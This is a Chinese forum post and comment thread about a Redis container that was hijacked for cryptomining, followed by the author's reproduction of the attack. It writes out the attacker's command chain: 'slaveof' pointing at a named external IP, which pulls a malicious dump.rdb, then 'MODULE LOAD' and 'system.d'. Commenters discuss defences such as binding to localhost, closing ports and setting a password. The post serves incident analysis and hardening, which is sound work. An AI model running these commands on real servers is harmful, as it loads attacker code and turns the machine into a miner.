docker Redis 被挖矿场景复现

docker redis被任意链接 导致被kdevtmpfsi挖矿记录

昨天发现服务器被挖矿了,我ssh可是都没开的,他是怎么用我容器挖矿的?

带这个问题,我把redis容器再次弄成随意链接,想钓出他执行的命令。

开始追踪前准备

config set slowlog-log-slower-than 0   //所有命令都会被定义成慢查询 
config set slowlog-max-len 10000   //保留1w条记录
config set slowlog-max-len 1000000 //他会不会执行很多命令? 改成保留100w保险些

上钩了

大概3-4小时,就把我容器做矿机了,真快。

是不是有检测系统,发现我掉了…

这是redis执行过的所有命令(有部分是我的):
http://cdn.lblog.club/files/redis_log.txt

slowlog格式说明
7    slowlog的id
1585115869   执行的时间戳
15            执行命令的消耗时间 微秒
set            //命令
1            //命令
test        //命令    组合就是set 1 test
127.0.0.1:55968    //客户端 端口

我得到了他的执行过命令,然后我重新编译容器,准备复现他的操作。

开始复现

127.0.0.1:6379> slaveof 82.118.17.133 8887    
OK
//此时把他redis数据 同步到受害机  dump.rdb已经是有毒的模块了! 
//可惜dump.rdb用rdb看不了,不知道是什么操作,不知道这个dump.rdb的内容

127.0.0.1:6379> MODULE LOAD ./dump.rdb      //加载模块
OK

127.0.0.1:6379> system.d id
"" 
(1184.54s)
//获得成就:主动当矿机 成就加成:cpu+90% 内存+10% (使用量)

你在你的redis执行这三条命令, 就可以复现被成为矿机的场景。主动当矿机了

本作品采用《CC 协议》,转载必须注明作者和本文链接
lyxxxh
《L01 基础入门》
我们将带你从零开发一个项目并部署到线上,本课程教授 Web 开发中专业、实用的技能,如 Git 工作流、Laravel Mix 前端工作流等。
《L05 电商实战》
从零开发一个电商项目,功能包括电商后台、商品 & SKU 管理、购物车、订单管理、支付宝支付、微信支付、订单退款流程、优惠券等
讨论数量: 4

那么问题来了,是不是不用宝塔就不会出这些问题呢。我是在阿里云主机上买的一个最小配置的,也和楼主一样docker里面的redis端口也映射到了宿主机,但是从来没发生过这样的问题。
是不是说明宝塔做的很不安全,我也从没用过宝塔,看过之前前端的同学使用的是宝塔,有点印象。

1周前 评论
lyxxxh

@L学习不停

跟宝塔没关系

你的redis容器监听的是0.0.0.0吗?如果是127.0.0.1,那么不可能了。

如果是0.0.0.0,你可以试试redis-cli -h 主机是否可以链接上去

1周前 评论

file

默认监听的就是0.0.0.0,应该是你云主机默认开启了所有端口的。我的阿里云只开启了22和443,所以外网绝不可能访问到。宝塔是一层防护,但宝塔应该是有漏洞,你应该登录到你云主机的平台上去看看,是不是开启了所有端口。

1周前 评论
lyxxxh (楼主) 1周前
L学习不停 (作者) 1周前
mowangjuanzi

其实还有一个问题就是Redis 必须设置密码。然后绑定端口。

这个好像是通过 redis 的 config 命令?我之前中招过。找了一下午才把问题给找出来。真他娘的隐蔽

1周前 评论
lyxxxh (楼主) 1周前
L学习不停 1周前
mowangjuanzi (作者) 1周前

请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!